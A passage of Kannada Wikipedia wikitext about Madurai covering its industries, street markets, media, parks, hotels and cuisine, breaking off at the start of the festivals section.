ಕಂಪೆನಿಗಳು]]. === ಜವಳಿ/ವಸ್ತ್ರೋದ್ಯಮ === ಪಸ್ತುತವಿರುವ ಕೆಲ ವಸ್ತ್ರೋದ್ಯಮ/ರಾಸಾಯನಿಕ ಕೈಗಾರಿಕೆಗಳೆಂದರೆ ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಮಿಲ್ಸ್‌ (P) ಲಿಮಿಟೆಡ್‌ (100% ಭಾರತೀಯ ಹತ್ತಿ ನೂಲಿನ ಅತಿ ದೊಡ್ಡ ತಯಾರಕರು ಹಾಗೂ ರಫ್ತುದಾರರುಗಳಲ್ಲಿ ಒಬ್ಬರು), ಕಾಸಿಂ ಟೆಕ್ಸ್‌ಟೈಲ್ಸ್‌ ಮಿಲ್ಸ್‌, ಸುಂದರಂ ಟೆಕ್ಸ್‌ಟೈಲ್ಸ್‌ ಲಿಮಿಟೆಡ್‌, ಮಧುರಾ ಕೋಟ್ಸ್‌‌ Pvt. Ltd, ಪ್ಯಾರಾಮೌಂಟ್‌ ಮಿಲ್ಸ್‌ (P) Ltd,ವೀವ್ಸ್‌‌ ಇಂಡಿಯಾ (P) Ltd, ಫಸ್ಟ್‌‌ ಗಾರ್ಮೆಂಟ್‌ ಮ್ಯಾನುಫ್ಯಾಕ್ಚರಿಂಗ್‌ ಕಂಪೆನಿ (ಭಾರತ) Pvt Ltd, ವೈಗೈ ಸಮೂಹ (ರಾಸಾಯನಿಕಗಳು, ಖಾದ್ಯ ತೈಲಗಳು, ವಸ್ತ್ರೋದ್ಯಮ, ನಿರ್ಮಾಣ), ಅಲಯ ಧೋತೀಸ್‌, ಸಾರಥಿ ಧೋತೀಸ್‌‌ ಮತ್ತು SLM ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌. === ಗ್ರಾನೈಟ್‌ ಉದ್ಯಮ === ಈ ನಗರದಲ್ಲಿ ಕೆಲ ಗ್ರಾನೈಟ್‌ ಕೈಗಾರಿಕೆ ಕಂಪೆನಿಗಳಾದ PRP ಎಕ್ಸ್‌ಪೋರ್ಟ್ಸ್‌ (ಭಾರತದ ಅತಿದೊಡ್ಡ ಗ್ರಾನೈಟ್‌ ಸಂಸ್ಕರಣಕಾರರು ಹಾಗೂ ರಫ್ತುದಾರರುಗಳಲ್ಲಿ ಒಬ್ಬರು) ಮಧುರೈ ಆರ್ಕೆ ರಾಕ್‌, P.R.ಗ್ರಾನೈಟ್ಸ್‌‌, ಡ್ಯುನೈಟ್‌ರಾಕ್ಸ್‌ ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌‌ (ಗ್ರಾನೈಟ್‌ ಗ್ಯಾಂಗ್‌ಸಾ ಚಪ್ಪಡಿಗಳು) ಮತ್ತು ಆರ್ಕೆ ಗ್ಲೆನ್‌ರಾಕ್‌ಗಳು ಕಾರ್ಯಾಚರಿಸುತ್ತಿವೆ. ಮೆಲೂರ್‌ನಲ್ಲಿ ಗ್ರಾನೈಟ್‌ ಕೈಗಾರಿಕೆಯನ್ನು ಹಾಗೂ ಮಧುರೈನಲ್ಲಿ ಹೊಳಪು/ಮೆರುಗುಕೊಡುವ/ಪಾಲಿಷಿಂಗ್‌ ಕಾರ್ಖಾನೆಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಪ್ರಸ್ತಾವಗಳನ್ನು ಸಲ್ಲಿಸಲಾಗಿದೆ. === ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಉದ್ಯಮ === TVS ಇಂಟರ್‌ಕನೆಕ್ಟ್‌ ಸಿಸ್ಟಂಸ್‌ Ltd ಕಂಪೆನಿಯು ಕಡಿಮೆ ಸಾಮರ್ಥ್ಯದ/ಗಾತ್ರದ ಉಪಕರಣಗಳಾದ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ಕನೆಕ್ಟರ್‌ಗಳು, RF (ರೇಡಿಯೋ ತರಂಗಾಂತರ) ಕನೆಕ್ಟರ್‌ಗಳು, ಕೇಬಲ್‌ ಅಸೆಂಬ್ಲಿಗಳು, ಫೈಬರ್‌ ಆಪ್ಟಿಕ್‌ ಉತ್ಪನ್ನಗಳು & ಮತ್ತಿತರ ದೂರಸಂಪರ್ಕ ಪರಿಕರಗಳು, ಗ್ರಾಹಕ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಮತ್ತು ವಾಹನ ತಯಾರಿಕಾ ಕೈಗಾರಿಕೆಗಳಿಗೆ ಬೇಕಾದ ಬಿಡಿಭಾಗಗಳನ್ನು ತಯಾರಿಸುವ ಕಂಪೆನಿಯಾಗಿದೆ. === ಚಿಲ್ಲರೆ/ಬಿಡಿ ಮಾರಾಟ === ಚಿಲ್ಲರೆ ಮಾರಾಟ ಉದ್ಯಮವು ನಗರದಲ್ಲಿ ಅಭಿವೃದ್ಧಿಗೊಳ್ಳುತ್ತಿದೆ.{{Citation needed|date=August 2009}} ಈ ಬೆಳವಣಿಗೆಯು ಪ್ರಸ್ತುತ ಸೂಪರ್‌ ಮಾರುಕಟ್ಟೆಗಳಾದ ರಿಲಯನ್ಸ್‌ ಸೂಪರ್‌, ಸ್ಪೆನ್ಸರ್ಸ್‌ ಡೈಲಿ, A.K. ಅಹಮದ್‌ Co., ಮತ್ತು ಮಿಲನ್‌-ಎಂ(ಮಿಲೇನಿಯಂ?) ಮಾಲ್‌<ref>{{cite web |url= http://www.hinduonnet.com/thehindu/mp/2007/12/29/stories/2007122950030100.htm |title= Rock, shop and drop through the year |accessdate= 2008-12-23 |archive-date= 2008-12-26 |archive-url= https://web.archive.org/web/20081226135017/http://www.hinduonnet.com/thehindu/mp/2007/12/29/stories/2007122950030100.htm |url-status= dead }}</ref>, Big Bazaar ಮತ್ತು ಮಧುರೈ ಸಿಟಿಸೆಂಟರ್‌ಗಳಂತಹಾ ನಿರ್ಮಾಣ ಹಂತದಲ್ಲಿರುವ ಮಾಲ್‌ಗಳನ್ನು ಗಮನಿಸಿದರೆ ಸ್ವಷ್ಟವಾಗುತ್ತದೆ. ನಗರದ ಪ್ರಾಚೀನ ರಚನೆಯೊಂದಿಗೆ ಹೊಂದಿಕೊಳ್ಳುವಂತೆ, ನಗರದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿರುವ ವಾಣಿಜ್ಯ ಸ್ಥಳಗಳು ಸಮೂಹವಾಗಿ ರೂಪಿತವಾಗಿವೆ, ಹಾಗೂ ಸಾಲಾದ ಅನೇಕ ಅಂಗಡಿಗಳು ಒಂದೇ ರೀತಿಯ ವಸ್ತುಗಳನ್ನು ಮಾರುತ್ತಿರುವುದನ್ನು ಮಧುರೈನಲ್ಲಿ ಮಾತ್ರ ಕಾಣಬಹುದು.ಈಸ್ಟ್‌ ಗೇಟ್‌/ಪೂರ್ವ ದ್ವಾರವು ಗೃಹಕೃತ್ಯದ ಸಾಮಾನುಗಳನ್ನು ಮಾರುವ ಅಂಗಡಿಗಳಾದ ಮಣಿಮಾರನ್‌ ಸ್ಟೋರ್ಸ್‌, P.S.ಗುಣಸೇ/ಶೇಖರನ್‌ ಮೆಟಲ್ಸ್‌ ಮತ್ತು ಅನಂತ ಅಂಗಡಿಯಂತಹಾ ಅಂಗಡಿಗಳಿಂದ ಸುತ್ತುವರೆದಿದೆ. ಪೂರ್ವ ಮಾಸಿ ಸ್ಟ್ರೀಟ್‌/ಬೀದಿಯು ಸಾವಿರಾರು ದಿನಸಿ ಅಂಗಡಿಗಳಿಂದ ತುಂಬಿದ್ದರೆ, ಪಶ್ಚಿಮ ಮಾಸಿ ಬೀದಿಯು ಎಲೆಕ್ಟ್ರಿಕಲ್‌ ಮತ್ತು ಕೊಳಾಯಿ/ನೀರು ಸರಬರಾಜು ಸಾಮಗ್ರಿಗಳ ಅಂಗಡಿಗಳಿದ್ದರೆ, ದಕ್ಷಿಣ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿ ಉಡಿಗೆ-ತೊಡಿಗೆಗಳು ಮತ್ತು ವಸ್ತ್ರೋದ್ಯಮ ಉತ್ಪನ್ನಗಳಿರುತ್ತವೆ, ಸಾಮಾನು ಸಾಗಣೆ ಮತ್ತು ಹಣ್ಣುಹಂಪಲುಗಳ ಗೋದಾಮುಗಳು ಉತ್ತರ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿವೆ, ಟೌನ್‌ ಹಾಲ್‌ ರಸ್ತೆಯಲ್ಲಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ವಸ್ತುಗಳು ಮಾರಾಟವಾದರೆ, ವಾಹನಗಳ ಬಿಡಿಭಾಗಗಳೂ ಉತ್ತರ ವೇಲಿ ಬೀದಿಯಲ್ಲಿ ಸಿಗುತ್ತವೆ ಮತ್ತು ಮೊಬೈಲ್‌/ಸಂಚಾರಿ ದೂರವಾಣಿ ಮಳಿಗೆಗಳು ಕೃಷ್ಣ ರಾಯರ್‌ ಕರೆ ಕೆರೆ/ಕೊಳ/ಟ್ಯಾಂಕ್‌ ಬೀದಿಯಲ್ಲಿದ್ದರೆ, ನಾಯಕ್ಕಾರ್‌ ಹೊಸ ಬೀದಿಯಲ್ಲಿ ವೈದ್ಯಕೀಯ ಸಾಮಗ್ರಿಗಳು ದೊರಕುತ್ತವೆ, ಆಭರಣಗಳು ಗೋಲ್ಡ್‌/ಚಿನ್ನದ ಬಜಾರ್‌‌ ಬೀದಿಯಲ್ಲಿ ಲಭ್ಯವಿದ್ದರೆ, ಮುದ್ರಣ ಸಂಸ್ಥೆಗಳು ಮತ್ತು ಹೋಟೆಲ್‌ಗಳು ಪಶ್ಚಿಮ ಪೆರುಮಾಲ್‌ ಮೇಸ್ತ್ರಿ ಬೀದಿಯಲ್ಲಿರುತ್ತವೆ, ಪುಸ್ತಕಗಳು ಮತ್ತು ನೋಟ್‌ ಪುಸ್ತಕಗಳು ಹೊಸ ಮಂಡಪಂ ಬೀದಿಯಲ್ಲಿ ಸಿಗುತ್ತವೆ. ಅಲಂಕಾರಿಕ ವಸ್ತುಗಳು, ಬಳೆಗಳು, ಉಡುಗೊರೆ ವಸ್ತುಗಳು, ಚಿನ್ನ ಮತ್ತು ಆಭರಣಗಳು, ರಾಸಾಯನಿಕಗಳು ಮತ್ತು ವೈದ್ಯಕೀಯ ಸಾಮಗ್ರಿಗಳು etc. ಚಿಲ್ಲರೆ ಮಾರಾಟ ಮಾಡುವ ಪ್ರತ್ಯೇಕ ಅಗಲವಾದ ಬೀದಿಗಳೂ ಇವೆ. ಒಂದೇ ರಸ್ತೆಯಲ್ಲಿ ಒಂದೇ ರೀತಿಯ ವಸ್ತುಗಳನ್ನು ಮಾರಾಟ ಮಾಡುವಂತಹಾ ವ್ಯವಸ್ಥೆಯು ಇಡೀ ಭಾರತದಲ್ಲಿ ಕೇವಲ ಮಧುರೈನಲ್ಲಿ ಮಾತ್ರವೇ ಇದೆ.<br /> ಎಲ್ಲಾ ವರ್ಗದ ಜನರಿಗೂ ಆಗುವಂತಹಾ ಸಿನೆಮಾ/ಚಿತ್ರಮಂದಿರಗಳು ಅಥವಾ ಮಲ್ಟಿಪ್ಲೆಕ್ಸ್‌ಗಳು ನಗರದಲ್ಲಿವೆ. ತಮಿಳು ಚಿತ್ರಗಳಲ್ಲದೇ, ಕೆಲ ಹಿಂದಿ ಮತ್ತು ಆಂಗ್ಲ ಚಿತ್ರಗಳೂ ಸಹಾ ನಗರದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲ್ಪಡುತ್ತವೆ. ಬೈಪಾಸ್‌ ರಸ್ತೆಯಲ್ಲಿರುವ ಅಪರ್ಣಾ ಟವರ್ಸ್‌‌ ಮತ್ತು S.S.ಕಾಲೊನಿಯ ಖಾಜಿಯಾರ್‌ ಕಾಂಪ್ಲೆಕ್ಸ್‌ಗಳು ಚಿಲ್ಲರೆ ಮಾರಾಟ ವ್ಯವಹಾರದ ಮಧುರೈ ನಗರದಲ್ಲಿನ ಮಹತ್ವದ ಮಾರಾಟಕೇಂದ್ರಗಳಾಗಿವೆ. [http://www.maduraizone.in/yellow/index.php?file=print&amp;id=1427 ನಾಯ್ಡು ಹಾಲ್‌ (ನೈಹಾ)]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ಪೊಥಿಸ್‌, ಮೆಗಾಮಾರ್ಟ್,ಬ್ರಿಟಿಷ್‌ ಬೇಕರಿ, ಕೆಫೆ ಕಾಫಿಡೇ, etc.ಗಳಂತಹಾ ಇತರೆ ವ್ಯಾಪಾರಕೇಂದ್ರಗಳಿವೆ. ಚಿನ್ನ, ವಜ್ರಗಳು, ಮತ್ತು ಪ್ಲಾಟಿನಂ ವ್ಯಾಪಾರಿಗಳಿಗೆ ಜ್ಯುವೆಲ್ಲರಿ ಬಜಾರ್‌ನಲ್ಲಿ ಚಿನ್ನಾಭರಣಗಳ ಅಂಗಡಿಗಳು ಹಾಗೂ ಥಂಗಾ ಮಾಲ್‌‌, ಅಲುಕ್ಕಾಸ್‌‌, ಜಾಯ್‌ ಅಲುಕ್ಕಾಸ್‌‌, ಭೀಮಾ ಅಂಡ್‌ ಲಲಿತಾ ಜ್ಯುವೆಲ್ಲರಿ ಮುಂತಾದ ಬೃಹತ್‌ ಪ್ರಮಾಣದ ವ್ಯವಹಾರ ನಡೆಸುವ ಮಳಿಗೆಗಳಿವೆ. == ಮಾಧ್ಯಮ == ನಗರವು ಅನೇಕ ರೇಡಿಯೋ ಕೇಂದ್ರಗಳಾದ [[ರೇಡಿಯೋ ಮಿರ್ಚಿ]], ಹೆಲೊ FM, [[ಸೂರ್ಯನ್‌ FM]]ಗಳ ಸೇವೆ ನೀಡುತ್ತದೆ ಮತ್ತು ನಗರವು ಎರಡು ಪ್ರಮುಖ ಆಂಗ್ಲ ದೈನಿಕಗಳಾದ [[ದ ಹಿಂದು]] ಮತ್ತು [[ದ ನ್ಯೂ ಇಂಡಿಯನ್‌ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌]]ಗಳ ಸ್ಥಳೀಯ ಆವೃತ್ತಿ ಬಿಡುಗಡೆ ಮಾಡುತ್ತದೆ‌. ತಮಿಳು ಭಾಷೆಯ ಪ್ರಾತಃಕಾಲದ ದೈನಿಕಗಳೆಂದರೆ [[ದಿನಮಲಾರ್]], [[ದಿನತಂತಿ]], [[ದಿನಮಣಿ]] ಮತ್ತು [[ದಿನಕರನ್‌]]ಗಳನ್ನು ಸಹಾ ಹೊಂದಿದೆ. ಮಧುರೈನಲ್ಲಿ ಪ್ರಕಟಗೊಳ್ಳುವ ಸಂಜೆಯ ದೈನಿಕಗಳೆಂದರೆ [[ತಮಿಳ್‌ ಮುರಸು]], ಮಲೈ ಮುರಸು ಮತ್ತು [[ಮಲೈ ಮಲಾರ್]]‌. ಅಷ್ಟೇ ಅಲ್ಲದೇ [[ತಮಿಳುನಾಡಿ]]ನ ಪ್ರಖ್ಯಾತ ಕಿರುತೆರೆ ಜಾಲವಾದ [[Sun TV ಜಾಲ]]ವು, [[SUN TV]], K TV, [[Sun News]] etc., ವಾಹಿನಿಗಳೊಂದಿಗಿನ ತನ್ನ ಪ್ರಾಂತೀಯ ಕಛೇರಿಯನ್ನು, ಮಧುರೈನ ಉತ್ತಂಗುಡಿಯಲ್ಲಿ ಹೊಂದಿದೆ. ಅನೇಕ ಇತರೆ ವಾಹಿನಿಗಳಾದ, [[ವಿಜಯ್‌ TV]], ರಾಜ್‌ TV, [[ಜಯಾ TV]], [[SS ಮ್ಯೂಸಿಕ್‌]] etc.ಗಳು ವಾರ್ತೆಗಳ ಮತ್ತು ಇತರ ಕಾರ್ಯಕ್ರಮಗಳ ವೇಗದ ಪ್ರಸಾರ ನೀಡಲು ಸಾಧ್ಯವಾಗುವಂತೆ, ಮಧುರೈನಲ್ಲಿಯೇ ತಮ್ಮ ಕಛೇರಿಗಳನ್ನು ಹೊಂದಿವೆ. == ಮನರಂಜನೆ == ನಗರದಲ್ಲಿ ಕೆಳಕಂಡ ವಾರಾಂತ್ಯ ಮೋಜುತಾಣಗಳಿವೆ: [[ಚಿತ್ರ:Athisayam park madurai.jpg|thumb|right|ಅಥಿಸಾಯಂ ಜಲ ಕ್ರೀಡಾ ತಾಣ]] * [[ಅಥಿಸಾಯಂ]] ವಾಟರ್‌ ಥೀಮ್‌ ಪಾರ್ಕ್‌: ಈ ಮನರಂಜನಾ ಜಲಕ್ರೀಡಾ ತಾಣವು ಮಧುರೈನ ಹೊರವಲಯದಲ್ಲಿರುವ (ನಗರದಿಂದ 20&nbsp;km ದೂರದಲ್ಲಿದೆ) ಎಲ್ಲಾ ವಯೋಮಾನದ ಜನರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ ಮತ್ತು ಮಧುರೈನಲ್ಲಿನ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ವಿವಿಧ ಪ್ರದೇಶಗಳ ಜನರು ಇಲ್ಲಿಗೆ ಬರುತ್ತಾರೆ. ಅನೇಕ ಉನ್ನತ ತಂತ್ರಜ್ಞಾನದ ಮನರಂಜನಾ ಆಟಗಳು ಪ್ರೇಕ್ಷಕರಿಗೆ/ಸಂದರ್ಶಕರಿಗೆ ಆಸಕ್ತಿದಾಯಕ ಅನುಭವಗಳನ್ನು ನೀಡುತ್ತವೆ. ಈ ತಾಣವನ್ನು ವೈಜ್ಞಾನಿಕವಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ ಮತ್ತು ಬೇಸಿಗೆಯ ಬೇಗೆಯಲ್ಲಿ ಸೂಕ್ತವಾದ ತಾಣವಾಗಿರುತ್ತದೆ. * ಇಕೋ ಪಾರ್ಕ್: ನಗರದ ಪೌರ ಸಂಸ್ಥೆ ಕಚೇರಿ ಕಟ್ಟಡದ ಬಳಿಯಿರುವ ಈ ಮನರಂಜನಾ ತಾಣವ ಬೆಳಕಿನ ವ್ಯವಸ್ಥೆ ಮತ್ತು ಕಾರಂಜಿ ವ್ಯವಸ್ಥೆಗಳು ಆಕರ್ಷಕವಾಗಿವೆ ಮತ್ತು ಆಪ್ಟಿಕ್‌ ಫೈಬರ್‌ ಮರಗಳನ್ನು ಬೆಳಗಿಸಿ ದೇದೀಪ್ಯಮಾನವಾಗಿಸುವುದು ಕಣ್ಣಿಗೆ ಆಹ್ಲಾದವನ್ನುಂಟು ಮಾಡುತ್ತದೆ. ಈ ತಾಣದಲ್ಲಿನ ಅತ್ಯಂತ ಚಿತ್ತಾಕರ್ಷಕ ವ್ಯವಸ್ಥೆ ಎಂದರೆ ಸಂಗೀತಕ್ಕೆ ತಕ್ಕಂತೆ ನರ್ತಿಸುವ ಸಂಗೀತ ಕಾರಂಜಿ. * ಹವಾ ವ್ಯಾಲಿ: ಮಧುರೈನ ಹೊರವಲಯದಲ್ಲಿರುವ ನಾಥಂ ರಸ್ತೆಯಲ್ಲಿ ಈ ತಾಣವಿದೆ. ಪರ್ವತಗಳ/ಬೆಟ್ಟಗಳ ಹಿನ್ನೆಲೆಯೊಂದಿಗೆ ಇದು ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯದ ಅನುಭೂತಿ ನೀಡುತ್ತದೆ. ಇದರಲ್ಲಿ ಭೋಜನಾಲಯ/ರೆಸ್ಟೋರೆಂಟ್‌ ಹಾಗೂ ಕಿರು ರೇಸ್‌ಕಾರ್‌ಗಳ ಆಟದ ವ್ಯವಸ್ಥೆ ಸಹಾ ಇದೆ. * ರಾಜಾಜಿ ಮಕ್ಕಳ ಪಾರ್ಕ್: [[ಚಿತ್ರ:31Madura Teppakulam.jpg|thumb|right|ಮಾರಿಯಮ್ಮನ್‌ ತೆಪ್ಪಕ್ಕುಲಂ (ದೇವಾಲಯದ ಕೊಳ)]] ಈ ತಾಣವು ಗಾಂಧಿ ವಸ್ತು ಸಂಗ್ರಹಾಲಯ ಮತ್ತು ತಮುಕ್ಕಮ್‌ ಮೈದಾನಗಳ ನಡುವೆ ಇದೆ. ಇದರಲ್ಲಿ ಮಕ್ಕಳು ಆಡುವಂತಹಾ ಅನೇಕ ಆಟಗಳಿವೆ ಹಾಗೂ ಕ್ರೀಡಾ ಸಾಧನಗಳಿವೆ, ಹಾಗೂ ಮೂಂಗಾ ಆರ್ಯ ಭವನ್‌ ಮತ್ತು ಇತರೆ ಇನ್ನಿತರ ಉಪಹಾರ ಗೃಹಗಳಿವೆ. ಇಷ್ಟೇ ಅಲ್ಲದೇ ಪಕ್ಷಿಗಳ ಸಂಗ್ರಹಾಲಯವೂ ಇದೆ ಮತ್ತು ಚಿತ್ತಾಕರ್ಷಕ ಬೆಳಕಿನ ಹಾಗೂ ಸಂಗೀತ ವ್ಯವಸ್ಥೆ ಸಹಾ ಇದೆ. ಈ ತಾಣವನ್ನು ಮಧುರೈ ಪೌರಸಂಸ್ಥೆಯು ತನ್ನ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ನಿರ್ವಹಿಸುತ್ತದೆ. * MGR ರೇಸ್‌ ಕೋರ್ಸ್‌ ಕ್ರೀಡಾಂಗಣ: ಇದೊಂದು ಅಥ್ಲೆಟಿಕ್‌ ಕ್ರೀಡಾಂಗಣವಾಗಿದ್ದು ಕೃತಕ ಪಥವೂ ಇದೆ. ಅನೇಕ ರಾಷ್ಟ್ರೀಯ ಕೂಟಗಳನ್ನು ಇಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಬಡ್ಡಿ ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಪಂದ್ಯಗಳನ್ನು ಇಲ್ಲಿ ನಡೆಸಲಾಗಿತ್ತು. * ಅರಸರಡಿ ಮೈದಾನ: ಇದು ನಗರದಲ್ಲಿರುವ ಏಕೈಕ ಕ್ರಿಕೆಟ್‌ ಕ್ರೀಡಾಂಗಣ. * ಥೆಪ್ಪಕುಲಂ: ನಗರದಲ್ಲಿ ಥೆಪ್ಪಕುಲಂ ಎಂದು ಕರೆಯಲಾಗುವ ವಂಡಿಯೂರು ಮಾರಿಯಮ್ಮನ್‌‌ ದೇಗುಲಕ್ಕೆ ಸೇರಿದ ಪವಿತ್ರ ದೈವಿಕ ಕೊಳವಿದೆ. ಇತ್ತೀಚೆಗೆ ಇದೊಂದು ಪಿಕ್‌ನಿಕ್‌ ಸ್ಥಳವಾಗಿ ಮಾರ್ಪಟ್ಟಿದೆ. ಇದರ ಮಧ್ಯದಲ್ಲಿ ಕಲ್ಲಿನಿಂದ ಕೃತಕ ದ್ವೀಪವೊಂದನ್ನು ನಿರ್ಮಿಸಲಾಗಿದೆ. ಈ ಕೊಳವನ್ನು ಸರಿಸುಮಾರು 1500 A.Dದ ಸಮಯದಲ್ಲಿ ಕಟ್ಟಲಾಗಿತ್ತು. == ಆತಿಥ್ಯ/ಅತಿಥಿ ಸತ್ಕಾರ == [[ಚಿತ್ರ:Taj Garden Retreat 3.jpg|thumb|right|ಗೇಟ್‌ವೇ ಹೋಟೆಲ್‌ (ತಾಜ್‌ ಗಾರ್ಡನ್‌ ರಿಟ್ರೀಟ್‌ )]] ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ನಗರವು ಅತಿಥಿ ಸತ್ಕಾರ ಉದ್ಯಮದಲ್ಲಿ ಬೆಳವಣಿಗೆ ಕಾಣುತ್ತಲಿದೆ. ಐಷಾರಾಮಿ ಪಂಚತಾರಾ ಹೋಟೆಲ್‌ "ಹೆರಿಟೆನ್ಸ್‌ ಮಧುರೈ " <ref>{{cite web|url= http://www.heritancehotels.com/ |title= Heritance Hotels = 2009-01-11}}</ref><ref>{{cite web |url= http://www.dailymirror.lk/DM_BLOG/Sections/frmNewsDetailView.aspx?ARTID=34580 |title= Aitken Spence launches Heritance Madurai in India = 2008-12-28 |access-date= 2009-12-22 |archive-date= 2008-12-26 |archive-url= https://web.archive.org/web/20081226205128/http://www.dailymirror.lk/DM_BLOG/Sections/frmNewsDetailView.aspx?ARTID=34580 |url-status= dead }}</ref> ಭಾರತದ ಅತ್ಯುತ್ತಮ ಶ್ರೇಣಿಯ ಐಷಾರಾಮಿ ಹೋಟೆಲ್‌ಗಳಲ್ಲಿ ಒಂದು. ಇನ್ನಿತರ ಮೇಲ್‌ಮಟ್ಟದ ಹೋಟೆಲ್‌ಗಳೆಂದರೆ [http://www.royalcourtindia.com ರಾಯಲ್‌ ಕೋರ್ಟ್‌], [http://www.grthotels.com/Home.aspx?gclid=CP-m3tvY0ZgCFdST3wodIycQ1w ಹೋಟೆಲ್‌ GRT ರೀಜೆನ್ಸಿ] {{Webarchive|url=https://web.archive.org/web/20110711131729/http://www.grthotels.com/Home.aspx?gclid=CP-m3tvY0ZgCFdST3wodIycQ1w |date=2011-07-11 }}, ಗೇಟ್‌ವೇ ಹೋಟೆಲ್‌ (ತಾಜ್‌ ಗಾರ್ಡನ್‌ ರಿಟ್ರೀಟ್‌), ಹೋಟೆಲ್‌ ಜರ್ಮೇನಸ್‌‌, ನಾರ್ತ್‌ ಗೇಟ್‌‌, ಮಧುರೈ ರೆಸಿಡೆನ್ಸಿ, ಹೋಟೆಲ್‌ ಸಂಗಂ ಮತ್ತು ಹೋಟೆಲ್‌ ಫಾರ್ಚ್ಯೂನ್‌ ಪಾಂಡಿಯನ್‌. ದಕ್ಷಿಣ ಭಾರತದ,ಪಂಜಾಬಿ, ಮೊಘಲಾಯಿ ಸೇರಿದಂತೆ ಬಹುಪಾಲು ಭಾರತೀಯ ವೈವಿಧ್ಯಗಳು ಮತ್ತು ಐರೋಪ್ಯ, ಚೀನೀ ಆಹಾರಗಳು/ಖಾದ್ಯಗಳು ನಗರದ ಹೋಟೆಲ್‌/ರೆಸ್ಟೋರೆಂಟ್‌ಗಳಲ್ಲಿ<ref>{{cite web|url= http://www.tourism-of-india.com/hotels-in-tamil-nadu/madurai-hotels/ |title= Hotels in Madurai= 2009-01-09}}</ref><ref>{{cite web|url= http://www.madurai.com/eat.htm |title= Where to Eat in madurai = 2009-01-09}}</ref> ಲಭ್ಯವಿವೆ. ಮಧುರೈ ತನ್ನ ವೈವಿಧ್ಯತೆ ಹೊಂದಿರುವ ಚಟ್ನಿಗಳೊಂದಿಗೆ [[ಇಡ್ಲಿಗಳಿಗೆ]] ಪ್ರಸಿದ್ಧವಾಗಿದ್ದು, ಅವು ಬಹುತೇಕ ಎಲ್ಲಾ ರೆಸ್ಟೋರೆಂಟ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಪಶ್ಚಿಮ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿರುವ ಮುರುಗನ್‌ ಇಂಡ್ಲಿ ಖಾನಾವಳಿ ಮತ್ತು ರೈಲು ನಿಲ್ದಾಣದ ಖಾನಾವಳಿಗಳು ತಮ್ಮ ಇಡ್ಲಿಗಳಿಗೆ [[ತಮಿಳುನಾಡಿನಾ]]ದ್ಯಂತ ಪ್ರಸಿದ್ಧವಾಗಿವೆ. == ಹಬ್ಬಗಳು/ಉತ್ಸವಗಳು/ಜಾತ್ರೆಗಳು == ಮಧುರೈ ಜನರು ಅನೇಕ ಉತ್ಸವಗಳನ್ನು/ಹಬ್ಬಗಳನ್ನು ಆಚರಿಸುತ್ತಾರೆ. ಕೆಲ ಪ್ರಮುಖ ಹಬ್ಬಗಳೆಂದರೆ, ದೇವಿ ಮೀನಾಕ್ಷಿ ತಿರುಕಲ್ಯಾಣಂ, ಚಿತ್ತಿರೈ ಉತ್ಸವ, ದೀಪಾವಳಿ/ದಿವಾಲಿ, ಪೊಂಗಲ್, ತೆಪ್ಪೋರ್ಚವಂ, ರಥೋತ್ಸವಗಳು etc.<ref name="madurai.nic.in">{{Cite web |url=http://madurai.nic.in/festivals.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-22 |archive-date=2011-07-21 |archive-url=https://web.archive.org/web/20110721172002/http://madurai.nic.in/festivals.html |url-status=dead }}</ref><ref name="madurai.nic.in"/><ref>http://www.templenet.com/Tamilnadu/Madurai/festival1.html</ref><ref>http://www.madurai.org.uk/culture/float-festival.html</ref><ref>{{Cite web |url=http://www.madurai-vacations.com/maduraifestivals.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-22 |archive-date=2009-10-03 |archive-url=https://web.archive.org/web/20091003132320/http://madurai-vacations.com/maduraifestivals.htm |url-status=dead }}</ref> === ಮೀನಾಕ್ಷಿ ತಿರುಕಲ್ಯಾಣಂ &amp; ಚಿತ್ತಿರೈ ಉತ್ಸವ === ಚಿತ್ತಿರೈ (ಮೇಷ) ತಿಂಗಳಲ್ಲಿ ಆಚರಿಸುವ ವಾರ್ಷಿಕ ಬ್ರಹ್ಮೋತ್ಸವ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದುದಲ್ಲದೇ, ಇದು ಮಧುರೈ ದೇಗುಲಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ದಂತಕಥೆಗಳಾದ [http://www.templenet.com/Tamilnadu/Madurai/legend3.html ಮೀನಾಕ್ಷಿಯ ಪಟ್ಟಾಭಿಷೇಕ], ಅಲೌಕಿಕ ಮದುವೆ etcಗಳೊಂದಿಗೆ ಬೆಸೆದುಕೊಂಡಿದೆ. ಚಿತ್ತಿರೈ ಉತ್ಸವವು [http://www.templenet.com/Tamilnadu/df102.html ತಿರುಮಾಲಿರುಂಚೋಳೈ] ನ ವಾರ್ಷಿಕ ಉತ್ಸವದ ಸಮಯದಲ್ಲಿಯೇ ನಡೆಯುತ್ತದೆ. ಈ ದೈವಿಕ ಮದುವೆಯು [http://www.templenet.com/Tamilnadu/m002.html 